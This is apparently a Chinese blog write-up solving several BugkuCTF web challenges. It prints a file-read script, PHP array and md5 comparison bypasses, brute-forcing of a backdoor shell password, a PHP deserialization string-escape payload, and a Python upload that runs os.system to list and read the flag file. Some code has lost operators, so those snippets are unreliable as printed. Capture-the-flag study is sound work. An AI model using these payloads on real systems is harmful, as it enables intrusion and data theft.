bugkuCTF之web题目

2024-02-28 20:28:51 浏览数 (2)

[TOC]

cookie

描述: cookies欺骗

进入题目之后我们可以看到这个题目的url

代码语言:javascript复制
http://114.67.175.224:13933/index.php?line=&filename=a2V5cy50eHQ=

将a2V5cy50eHQ这个明显是Base64编码,进行解码知道是keys.txt,虽然不知道这个key.txt里面是什么,先复制出来。尝试用修改参数filename的值为index.php ,这个时候我们什么都看不到,

写一个脚本查下源代码

代码语言:javascript复制
import requests
a=30
for i in range(a):
    url="http://114.67.175.224:13933/index.php?line=" str(i) "&filename=aW5kZXgucGhw"
    s=requests.get(url)
    print (s.text)

接下来就是,分析源码了,这就进入了php

代码语言:javascript复制
<?php
error_reporting(0);
$file=base64_decode(isset($_GET['filename'])?$_GET['filename']:"");
$line=isset($_GET['line'])?intval($_GET['line']):0;
if($file=='') header("location:index.php?line=&filename=a2V5cy50eHQ=");
$file_list = array(
                 '0' =>'keys.txt',
                 '1' =>'index.php',
             );
if(isset($_COOKIE['margin']) && $_COOKIE['margin']=='margin')
{
    $file_list[2]='keys.php';
}
if(in_array($file, $file_list))
{
    $fa = file($file);
    echo $fa[$line];
}
?>

hackbar里面就有cookie,虽然这个是在火狐里,直接开火狐,传一个margin=margin出去。查看源代码得到flag

各种绕过哟

这个还是属于php特性吧,sha()函数无法处理数组,这里我们可以直接构造数组,传进去就能得到flag……..

代码语言:javascript复制
get:?uname[]=1&id=margin
post:passwd[]=2

备份是个好习惯

备份啊,估计bak文件吧……

代码语言:javascript复制
include_once "flag.php";
ini_set("display_errors", 0);
$str = strstr($_SERVER['REQUEST_URI'], '?');
$str = substr($str,1);
$str = str_replace('key','',$str);
parse_str($str);
echo md5($key1);
echo md5($key2);
if(md5($key1) == md5($key2) && $key1 !== $key2){
    echo $flag."取得flag";
}
?>

果然不是个签到啊,这样的话又回到了PHP特性的处理,还是可以通过数组进行绕过就能得到flag。

一开始没注意到过滤了key,这里可以使用双写绕过就是kekeyy在key被第一重的str_replace过滤之后我们仍然可以通过ke和y的拼接得到需要的key。

网站被黑

先拿御剑扫描下后台,发现一个shell.php的页面进去,就是后门…..没有其他提示了,到这里应该就说明了是需要用burp爆破密码了,直接在火狐里打开挂代理,抓包爆破一气呵成,找到了hack这个长度与其他的返回不同

输进去看下得到flag

字符?正则?

代码语言:javascript复制
<?php 
highlight_file('2.php');
$key='flag{********************************}';
$IM= preg_match("/key.*key.{4,7}key:/./(.*key)[a-z][[:punct:]]/i", trim($_GET["id"]), $match);
if( $IM ){ 
  die('key is: '.$key);
}
?>

1.表达式直接写出来的字符串直接利用,如key 2.“.”代表任意字符 3.“*”代表一个或一序列字符重复出现的次数,即前一个字符重复任意次 4.“/”代表“/” 5.[a-z]代表a-z中的任意一个字符 6.[[:punct:]]代表任意一个字符,包括各种符号 7./i代表大小写不敏感 8.{4-7}代表[0-9]中数字连续出现的次数是4-7次

好了这样就可以构造了

代码语言:javascript复制
key@keykeykeykeykey:\\1keya@

BP

弱密码top1000?z?????

top1000的弱密码而且是以z开头的,这连burp都不用开了啊,开burp还需要时间,用Excel筛选,得出只有几个符合条件的密码,输入即可

newPHP

代码语言:javascript复制
<?php
// php版本:5.4.44
header("Content-type: text/html; charset=utf-8");
highlight_file(__FILE__);
class evil{
    public $hint;
    public function __construct($hint){
        $this->hint = $hint;
    }
    public function __destruct(){
    if($this->hint==="hint.php")
            @$this->hint = base64_encode(file_get_contents($this->hint)); 
        var_dump($this->hint);
    }
    function __wakeup() { 
        if ($this->hint != "╭(●`∀´●)╯") { 
            //There's a hint in ./hint.php
            $this->hint = "╰(●’◡’●)╮"; 
        } 
    }
}
class User
{
    public $username;
    public $password;
    public function __construct($username, $password){
        $this->username = $username;
        $this->password = $password;
    }
}
function write($data){
    global $tmp;
    $data = str_replace(chr(0).'*'.chr(0), '', $data);
    $tmp = $data;
}
function read(){
    global $tmp;
    $data = $tmp;
    $r = str_replace('', chr(0).'*'.chr(0), $data);
    return $r;
}
$tmp = "test";
$username = $_POST['username'];
$password = $_POST['password'];
$a = serialize(new User($username, $password));
if(preg_match('/flag/is',$a))
    die("NoNoNo!");
unserialize(read(write($a)));

emmmmm…..这道题考察的应该是php反序列化?

php var_dump 函数作用是判断一个变量的类型与长度,并输出变量的数值,如果变量有值,输出的是变量的值并回返数据类型.

15:13用时33min…….

在第一个类eval()里面有一个php强比较hint===”hint.php”,这里hint.php也就是我们需要构造的

代码语言:javascript复制
O:4:"evil":1:{s:4:"hint";s:8:"hint.php";}

是post进去usernamepassword两个参数,然后触发的是User类,但是有个read和write方法,经过处理后才进行序列化

然后看这两个函数,write和read两个函数,read()函数中将’’六个字符替换为了三个字符,这就给反序列化字符串逃逸提供了机会。 也就是php字符串逃逸导致的漏洞,即序列化的字符串在经过过滤函数不正确的处理而导致对象注入

构造ployed:username=&password=a”;s:8:”password”;O:4:”evil”:2:{s:4:”hint”;s:8:”hint.php”;}

代码语言:javascript复制
function write($data){
    global $tmp;
    $data = str_replace(chr(0).'*'.chr(0), '', $data);
    $tmp = $data;
}
function read(){
    global $tmp;
    $data = $tmp;
    $r = str_replace('', chr(0).'*'.chr(0), $data);
    return $r;
}

令username=

在write函数在的数目成功翻倍,进入read()函数从开始到&password=a”;s:8:”password”;进入user类的构造,而O:4:”evil”:2:{s:4:”hint”;s:8:”hint.php”;}则成功逃逸,

这里还有个__wakeup()将在序列化之后立即被调用, wakeup()函数的漏洞利用……

将得到的hint串进行解码,得到新一段php代码,直接访问index.CGI

代码语言:javascript复制
<?php
 $hint = "index.cgi";
 // You can't see me~
?php>

从url可以看出get,使用file协议从本地读取flag即可。

道友不来算一算凶吉?

半仙我夜观天象,掐指一算,卜出卦象如下,不知道的有无道友可解此卦。 密文:升益艮归妹井萃旅离旅困未济屯未济中孚未济升困噬嗑鼎震巽噬嗑解节井萃离未济蒙归妹大畜无妄解兑临睽升睽未济无妄遁涣归妹 嗯?为什么还有a和b呢? a=5,b=7

这是一道标着密码学的杂项……八卦通过两两组合一共有64种卦象,在题目附件里有一个python代码,应该是作为加密使用的,我们要做的是根据这个找到解密方式

代码语言:javascript复制
from secret import flag
def encrpyt5():
    enc=''
    for i in flag:
        enc =chr((a*(ord(i)-97) b)& 97)
    return(enc)
def encrypt4():
    temp=''
    offset=5
    for i in range(len(enc)):
        temp =chr(ord(enc[i])-offset-i)
    return(temp)

这就基本跟当时那个一样了….还真就是BUJCTF2020那个密码学….

代码语言:javascript复制
import base64
s = '升益艮归妹井萃旅离旅困未济屯未济中孚未济升困噬嗑鼎震巽噬嗑解节井萃离未济蒙归妹大畜无妄解兑临睽升睽未济无妄遁涣归妹'
dic = {'坤': '000000', '剥': '000001', '比': '000010', '观': '000011', '豫': '000100', '晋': '000101', '萃': '000110', '否': '000111', '谦': '001000', '艮': '001001', '蹇': '001010', '渐': '001011', '小过': '001100', '旅': '001101', '咸': '001110', '遁': '001111', '师': '010000', '蒙': '010001', '坎': '010010', '涣': '010011', '解': '010100', '未济': '010101', '困': '010110', '讼': '010111', '升': '011000', '蛊': '011001', '井': '011010', '巽': '011011', '恒': '011100', '鼎': '011101', '大过': '011110', '姤': '011111','复': '100000', '颐': '100001', '屯': '100010', '益': '100011', '震': '100100', '噬嗑': '100101', '随': '100110', '无妄': '100111', '明夷': '101000', '贲': '101001', '既济': '101010', '家人': '101011', '丰': '101100', '离': '101101', '革': '101110', '同人': '101111', '临': '110000', '损': '110001', '节': '110010', '中孚': '110011', '归妹': '110100', '睽': '110101', '兑': '110110', '履': '110111', '泰': '111000', '大畜': '111001', '需': '111010', '小畜': '111011', '大壮': '111100', '大有': '111101', '夬': '111110', '乾': '111111'}
l = []
k = 0  # 两个字符的标志位
for i in range(len(s)):
    if k == 1:
        k = 0
        continue
    try:
        l.append(dic[s[i]])
    except:
        l.append(dic[s[i] s[i 1]])
        k = 1

ss = ''.join(l)

enc = ''
for i in range(0, len(ss), 8):
    enc  = chr(eval('0b' ss[i:i 8]))

s = base64.b64decode(enc).decode()

def encrypt4(enc):
    temp = ''
    offset = 5
    for i in range(len(enc)):
        temp  = chr(ord(enc[i])-offset-i)
    return(temp)

def decrypt4(enc):
    temp = ''
    offset = 5
    for i in range(len(enc)):
        temp  = chr(ord(enc[i]) offset i)
    return(temp)
a, b = 5, 7

def encrpyt5(flag):
    enc = ''
    for i in flag:
        enc  = chr((a*(ord(i)-97) b) % 26 97)
    return(enc)
def decrypt5(flag):
    enc = ''
    for i in flag:
        for k in range(20):
            if (ord(i) - 97 - b 26*k) % a == 0:
                enc  = chr((ord(i) - 97 - b   26 * k) // a   97)
                break
    return(enc)
print(decrypt5(decrypt4(s)))

Flask_FileUpload

代码语言:javascript复制
<html>
<head>
  <title>File Upload</title>
</head>
<body>
    <form action="/uploader" method="POST" enctype="multipart/form-data">
        <input type="file" name="file" accept=".jpg,.png" />
        <input type="submit" />
    </form>
<!-- Give me the file, and I will return the Running results by python to you! -->
</body>
</html>

使用POST传参而且只传jpg或者png文件,而且上传的文件只允许是jpg png格式 且文件只会用python上传 ,构造jpg文件。

代码语言:javascript复制
os.system('ls /')

可以看到里面存着flag文件

代码语言:javascript复制
import os
os.system('cat /flag')  #得到flag

0 人点赞